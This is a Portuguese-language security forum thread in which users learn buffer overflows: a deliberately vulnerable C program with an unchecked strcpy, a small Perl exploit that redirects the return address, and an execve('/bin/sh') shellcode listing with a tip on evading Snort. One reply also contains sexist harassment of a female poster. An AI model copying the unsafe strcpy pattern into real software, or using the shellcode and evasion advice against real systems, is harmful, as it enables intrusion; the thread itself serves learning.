ISTF



           

Voltar   ISTF > Segurança da Informação > Penetration Tests

Notices

  #1  
Antigo 13/09/2008
Usuário Registrado
 
Data de registro: Mar 2007
Posts: 6
 

Buffer overflow simples

olá

estou tentando desenvover um programa vulneravel ao ataque buffer overflow e atacalo de forma bem simples:

olhe o fonte do meu codigo vulneravel "vuln.c":

Código:
#include <stdio.h>

int OverflowMe(char *str){

char buffer[10]; //our buffer

strcpy(buffer,str);//the vulnerable command

return 0;

}

int main(int intargc, char *argv[])
{
int pass=0;

printf("You are in vuln.exe now");

OverflowMe(argv[1]); //call the function and pass user input

if ( pass == 1)
{
GoodPass(); //this should never happen
} else {
printf("Lozer!!!");
}

printf("Quitting vuln.exe");

return 0;
}


int GoodPass(){

printf("******* You are IN! *******");
printf("******* This is GoodPass() executing *******");

}

olhe meu exploit:
Código:
#Here is the code of the exploit ( exploit.pl )
#!/usr/bin/perl

my $junkdata="x41"x28;# create the 28 byte length junk data

my $ret="x62x13x40x00";# our evil EIP goes here

my $exploit=$junkdata.$ret;# merge them into one evil string

print "Sending exploit....

";

system("vuln.exe", $exploit); # execute vuln.exe with the evil argument string


print "
Done!
";
olhe o endereço da função q peguei pelo pe explorer aqui?
ImageShack - Hosting :: testepj0.jpg

a unica coisa q eu quero fazer e sobreescrever o registrador EIP mudando o RETorno da função... quero executar a função GoodPass() que ja esta dentro do programa....


estou usando aqui o winxp 64 bits em ingles... será q é por causa do "data presention execution" q meu codigo nao funciona?

o tutorial original estava sendo usado o win2k:
DarkMindZ || Buffer Overflow Tutorial Part 1 + Part 2 -

  #2  
Antigo 01/11/2008
Usuário Registrado
 
Data de registro: Nov 2008
Posts: 9
 

Re: Buffer overflow simples

(espero que esse tópico não seja velho o suficiente para ser considerado uma ressurreição, mas...)

Até onde eu saiba, o DEP só previne que novo código seja executado, então executar código já existente não deveria ter problema algum.

Provavelmente o problema está na arquitetura do processador (processadores de 64bits usam um EIP 2x mas longo).

E não se esqueça que os endereços de memória podem mudar quando o programa é carregado num debugger, chamado por um script ou algo assim.

Última edição por FernandoSanches : 02/11/2008 às 01:07
  #3  
Antigo 28/12/2008
Avatar de hackgirl
Usuário Registrado
 
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
 

ME AJUDEM SHELLCODE

Olá personas!


Olha sou nova aqui nesse forum hacker e preciso de algumas informações...
Eu não consigo entender como é calculo o offset num shellcode.
POR EXEMPLO:

eu tenho esse codigo asm abaixo

Código:
popl %esi                               
movl %esi, array-offset(%esi)           
movb $0x0, nullbyte-offset(%esi)        
movl $0x0, null-offset(%esi)            
movl $0xb, %eax                         
movl %esi, %ebx                         
leal array-offset(%esi), %ecx          
leal null-offset(%esi), %edx            
int $0x80                               
movl $0x1, %eax                        
movl $0x0, %ebx                        
int  $0x80                              
/bin/sh vem aqui
aí derepente me aparece o mesmo codigo, porem com um jump pulando para o offset do call
e o call com chamando o offset de popl e varios #"bytes" ,

Código:
jmp offset-para-chamar               # 2 bytes <--------------------- de onde vem ¿ 
popl %esi                                  # 1 byte  <--------------------- de onde vem ¿
movl %esi, array-offset(%esi)       # 3 bytes <---------------------de onde vem ¿
movb $0x0, nullbyte-offset(%esi)  # 4 bytes <---------------------de onde vem ¿
movl $0x0, null-offset(%esi)         # 7 bytes <---------------------de onde vem ¿
movl $0xb, %eax                        # 5 bytes <---------------------de onde vem ¿
movl %esi, %ebx                        # 2 bytes <---------------------de onde vem ¿
leal array-offset(%esi), %ecx       # 3 bytes <---------------------de onde vem ¿
leal null-offset(%esi), %edx         # 3 bytes <---------------------de onde vem ¿
int $0x80                                  # 2 bytes <---------------------de onde vem ¿
movl $0x1, %eax                        # 5 bytes <---------------------de onde vem ¿
movl $0x0, %ebx                        # 5 bytes <---------------------de onde vem ¿
int  $0x80                                 # 2 bytes <---------------------de onde vem ¿
call offset-para-popl                   # 5 bytes <---------------------de onde vem ¿
/bin/sh vem aqui                        # 5 bytes <----------------------de onde vem ¿
A minha duvida é : "De onde vem esses bytes depois do "#" , eu sei como é calculado o offset para saltar de
JUMP para CALL e de CALL para POPL, o que eu preciso saber é de onde surgem esses bytes.


*Por favor me ajudem, serei uma hackgirl eternamente g(r)ata a quem me ajudar!!

Um doce beijo hacker para todos!!!!!!!11
  #4  
Antigo 02/01/2009
Black Fox
Visitante
 
Posts: n/a

Re: Buffer overflow simples

movl $0x1, %eax # 5 bytes <---------------------de onde vem ¿
movl $0x0, %ebx # 5 bytes <---------------------de onde vem ¿
int $0x80

Pra voce hauhauha!! Bem, nao entendi esse "de onde vem" ai nao, isso ta me parecendo que voce nao manja nada eh quer "aparecer". Enfim olha gatinha os registradores de micro-processadores 80386 e tals, sao de 32 bts, e seguimentos de 64k e tals, ou seja, os registers sao 'e'ax e tals :P Nao vi necessidade desses 5 bytes ¬¬ humm... Eu acho que ja sei oq voce quis dizer:

%eax eh 32 bits e um fodera de set instruction eh 1 byte. Isso eh igual a 5... Nao eh isso? Voce nao se expressou direito. Nao entendi esse 5 bytes ai nao hauhauha!! Ta confusa :P Voce ta inventando, ateh porque dois digitos em hexa equivalem a 1 byte (0x80 <--). Bem, vou tentar explicar a base dos shellcodes: Voce precisa colocar o numero da syscall em %eax, seus parametros vem em %ebx, %ecx e %edx e depois si e tals... Enfim, isso ae em cima eh a syscall exit em assemby. Esta sintaxe eh a AT&T ou seja:

origem -> Destino

movl <-- move um valor para a parte baixa (? rsrs) low (\O/!) do registrador %eax. ou seja, o valor 1 vai ser movido para o low side do %eax (use a notacao %) que eh o numero da syscall exit. O zero (0x0) eh o status de saida. Repare que nao existe 5 bytes aí nao daí


digite isso no dos

net helpmsg 1

e

net helpmsg 0

O 0 representa o status de sucesso. A interrupcao 0x80 executa tudo daí rsrs o int que chama uma interrupcao, nao entendi mesmo isso dai de 5 bytes, esse code eh fulero :P Voce ta se fazendo sabia? Mas enfim, com relacao aos jumpers e essas besteiras ae, vou te da uma dica:

Procurar um texto escrito pelo IP_FIX da motd. E um texto que o Nash escreveu. Ah! nao use string para represetnar a shell com seus shellcodes, pois quando voce mandar (send ()) ele atraves do socket o snort fareja ele. Converta a string /bin/sh em shellcode e tals, ajuda bastante ehehe. Ah! Nao quera se fazer mais, pois nesse forum existem hackers que gostam de pegar neguinhas metidas a complexas =7 Eh isso Ei eiei, o ash suporta setuid viu? ehehe

falow

[s]
  #5  
Antigo 05/01/2009
Avatar de Birkoff
100% Livre!
 
Data de registro: Dec 2004
Local: Florianópolis, SC
Posts: 850
        

Mandar mensagem via Skype para Birkoff
Re: ME AJUDEM SHELLCODE

Também não sei se entendi bem a dúvida.

Me parece que esses valores de bytes seriam o tamanho necessário pra cada instrução e seus parâmetros. Você deve encontrar os valores em algum livro sobre a arquitetura em questão.

Não verifiquei os valores e alguns me parecem um pouco estranhos, mas meu livro de Arquitetura de Computadores está emprestado pra eu desenferrujar meu assembly e tirar a dúvida.

Dia-a-dia de um informata 100% Livre: free(&me)
Meus artigos, tutoriais e outros textos
"Then you will know the truth, and the truth will set you free"
  #6  
Antigo 05/01/2009
Black Fox
Visitante
 
Posts: n/a

Re: Buffer overflow simples

A senhorita poderia ser mais especifica. Nao eh amigo Birkoff? Enfim, manda bala "direitinho" moça, nos estamos aqui para responder seus duvidas.

[]'s
  #7  
Antigo 05/01/2009
Avatar de hackgirl
Usuário Registrado
 
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
 

Re: Buffer overflow simples

Ola !

Pois é não entendi muito bem o que você quis dizer com hackers que gostam de pegar neguinhas, e todas essas babozeiras que você defecou aí meu lindo, pois eu não estou aqui para paparicos, gosto de tratar todos muito bem, mas não suporto idiotas machistas iludidos pela sombra do suposto conhecimento... aprenda a lidar com as pessoas primeiramente ok...


Para sua informação esse 5 bytes que você tanto disse desconhecer é meramente um exemplo querido poderia ser qualquer coisa ali, uma vez que o que eu quero saber é como calcular os "offsets" entendeu ou não....?]

veja bem eu tenho que saltar com o jump para a instrução call

jump offset para saltar para call
popl
movl
movl
mov
lea
call offset para popl
/bin/sh

eu sei que deve-se somar os bytes e converte-los para hexadecimall, porem não sei de onde vem os "BYTES"
como eu calculo os bytes..

e esse <---------------------- de onde vem ?

é justamente para dizer que não sei de onde vem ok....


Se puder me ajudar serei grata, senão godbye baby... nçao me interessam suas ideologias machistas-liberais....
  #8  
Antigo 06/01/2009
Avatar de Birkoff
100% Livre!
 
Data de registro: Dec 2004
Local: Florianópolis, SC
Posts: 850
        

Mandar mensagem via Skype para Birkoff
Re: Buffer overflow simples

Neste caso, entendi corretamente a dúvida e já a respondi. Trata-se do tamanho de cada instrução com seus parâmetros, e terás que consultar um manual sobre a arquitetura em questão pra saber os valores.

De maneira geral, temos que o opcode da instrução (jmp, movl, etc.) ocupa um byte em ia32. Aí o resto vai depender do tamanho dos operandos. Se for um valor de 32bits, você vai precisar de 4 bytes. Se forem 2 operandos de 16 bits, também. E por aí vai.

Googleando rapidamente, encontrei um artigo que olhei por cima e acho que pode ajudar (p/ arquitetura ia32):
Encoding Intel x86/IA-32 Assembler Instructions | HALCODE

Recomento fortemente buscar um livro de arquitetura de computadores pra ter uma compreensão um pouco mais global e aprofundado do funcionamento do processamento de instruções pela CPU, será bem útil.

PS: Sugiro que deixe o sistema de reputação lidar com as "deselegâncias" do Raposa. Ele já foi banido uma vez daqui com outro login, e certamente não demorará para ser banido de novo se manter a linha de "atuação" no fórum. Acredite, nesse post ele até que pegou leve :P. Sobre o sistema de reputação, leia:

InfoSecurity TaskForce - Sistema de Reputação Online
InfoSecurity TaskForce - Regras de Uso

PS2: Notei agora. Recomendo que na próxima, crie um tópico especifico, em vez de reaproveitar um tópico existente. Quando o assunto não é continuação do tópico existente, mas sim um novo assunto/dúvida, um tópico novo tem muito mais chances de obter sucesso. De maneira geral, o guia http://www.istf.com.br/perguntas/ tem boas dicas neste sentido.

Dia-a-dia de um informata 100% Livre: free(&me)
Meus artigos, tutoriais e outros textos
"Then you will know the truth, and the truth will set you free"

Última edição por Birkoff : 06/01/2009 às 09:34
  #9  
Antigo 06/01/2009
Avatar de hackgirl
Usuário Registrado
 
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
 

Re: Buffer overflow simples

Olá !


Muito Obrigada BIKOFF, vou estudar os links indicados, e em relação ao sistema de reputação, deixarei com eles...
Veja bem como é agradavel lidar com pessoas que impressionam pelo que sabem e não pela imagem fantasiosa de blackhat "marginalizado"

muit grata!!!


show me the code!!!!
 

Tags
assembly, opcode




Leitores ativos neste tópico: 1 (0 usuários e 1 visitantes)
 
Ferramentas Procurar neste tópico
Procurar neste tópico:

Busca avançada
Visualização

Regras de envio
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Ligado
Smile está Ligado
[IMG] está Ligado
HTML está Desligado
Trackbacks are Ligado
Pingbacks are Ligado
Refbacks are Ligado


Tópicos semelhantes
Tópico Autor do tópico Fórum Respostas Último post
Como funcionam os exploits placker Penetration Tests 3 05/12/2008 17:09
Buffer overflow no firefox. storm_ Desenvolvimento seguro 11 29/07/2006 21:19
Microsoft Internet Explorer vulnerable to buffer overflow psergiom Segurança em Desktop 0 05/11/2004 09:07
Buffer Overflow x Trojan x Exploit rferreira Penetration Tests 4 25/09/2002 20:07
Buffer Overflow Blues lover Desenvolvimento seguro 1 26/05/2002 01:16


Horário em GMT -3. A hora agora: 16:48.


vBulletin® ©2000-2010, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.2.0
InfoSecurity TaskForce ©2001-2008, Todos os direitos reservados.
O Fórum ISTF não se responsabiliza pelo conteúdo das mensagens dos seus usuários.